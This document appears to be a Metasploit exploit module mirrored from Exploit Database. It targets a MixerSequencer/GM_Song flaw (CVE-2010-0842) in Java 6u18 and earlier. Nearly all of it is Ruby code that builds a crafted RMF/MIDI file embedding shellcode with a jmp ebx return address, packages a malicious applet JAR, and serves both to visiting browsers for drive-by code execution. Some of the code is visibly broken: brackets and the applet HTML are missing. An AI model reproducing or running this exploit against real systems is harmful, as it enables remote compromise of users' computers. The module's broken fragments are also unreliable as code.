Java MixerSequencer Object – GM_Song Structure Handling (Metasploit)

Exploit Database
120 阅读

作者： Metasploit

日期： 2012-02-16
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18485/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",

'Description'=> %q{

This module exploits a flaw within the handling of MixerSequencer objects

in Java 6u18 and before.

Exploitation id done by supplying a specially crafted MIDI file within an RMF

File. When the MixerSequencer objects is used to play the file, the GM_Song

structure is populated with a function pointer provided by a SONG block in the

RMF. A Midi block that contains a MIDI with a specially crafted controller event

is used to trigger the vulnerability.

When triggering the vulnerability "ebx" points to a fake event in the MIDI file

which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the

exploit reliable over java updates.

'License'=> MSF_LICENSE,

'Author' =>

[

'Peter Vreugdenhil',# Vulnerability Discovery and exploit

'juan vazquez', # Metasploit module

'References' =>

[

[ 'CVE', '2010-0842' ],

[ 'OSVDB', '63493'],

[ 'BID', '39077'],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],

[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']

'Payload'=>

{

'Space'=> 8000,

'DefaultOptions'=>

{

'EXITFUNC' => "process",

'InitialAutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets'=>

[

# Tested succesfully on:

# Windows XP SP3 / IE 6 / Java 6u18

# Windows XP SP3 / IE 7 / Java 6u18

# Windows XP SP3 / IE 8 / Java 6u18

# Windows XP SP3 / Firefox 7.0.1 / Java 6u18

# Windows XP SP3 / IE 8 / Java 6u17

# Windows XP SP3 / Firefox 7.0.1 / Java 6u17

# Windows 7 / IE 8 / Java 6u18

'Windows / Java 6 <=u18',

{

'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll

}

'Privileged' => false,

'DisclosureDate' => "Mar 30 2010",

'DefaultTarget'=> 0))

end

def get_rmf

rmf_header = ""

rmf_header << "IREZ" # RMFHeaderMagic

rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber

rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks

song_block = ""

song_block << "\x00\x00\x00\x65" # OffsetToNextBlock

song_block << "SONG" # BlockType

song_block << [target.ret].pack("N") # BlockID

song_block << "\x00" # BlockName

song_block << "\x00\x00\x00\x47" # BlockDataSize

song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData

song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData

song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData

song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData

song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData

song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData

song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData

midi = ""

# HEADERCHUNK Header

midi << "MThd" # Header

midi << "\x00\x00\x00\x06" # Chunk size

midi << "\x00\x01" # Format Type

midi << "\x00\x01" # Number of tracks

midi << "\x00\x08" # Time division

# TRACKCHUNK header

midi << "MTrk" # Header

midi << "\x00\x00\x24\xd7" # Length

midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability

# Fake Midi Meta event - Shellcode

midi << "\x38" # Variable lenght delta time

midi << "\xff" # Midi meta event

midi << "\x02" # Meta event type 02 => Copyright notice

midi << "\xc9\x50" # Variable Meta Event Length

midi << payload.encoded

midi << rand_text(9123 - payload.encoded.length)

midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock

midi_block << "Midi" # BlockType

midi_block << "\x00\x00\x7f\xff" # BlockID

midi_block << "\x00" # BlockName

midi_block << "\x00\x00\x24\xed" # BlockDataSize

midi_block << midi # BlockData

rmf = ""

rmf << rmf_header

rmf << song_block

rmf << midi_block

rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"

return rmf_name, rmf

end

def get_jar

files = [

[ "MyController.class" ],

[ "MixerMidiApplet.class" ],

[ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]

]

jar = Rex::Zip::Jar.new

jar.add_file("META-INF/", "")

jar.add_file("META-INF/services/", "")

jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))

jar.build_manifest

jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"

return jar_name, jar

end

def on_request_uri(cli, request)

if request.uri =~ /\.jar$/i

print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})

return

end

if request.uri =~ /\.rmf$/i

print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})

return

end

base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

rmf_uri = base_uri + "/#{@rmf_name}"

jar_uri = base_uri + "/#{@jar_name}"

html = %Q|

<html>

<head>

</head>

<body>

</applet>

</body>

</html>

html = html.gsub(/^\t\t/, '')

print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

def exploit

@jar_name, @jar = get_jar

@rmf_name, @rmf = get_rmf

super

end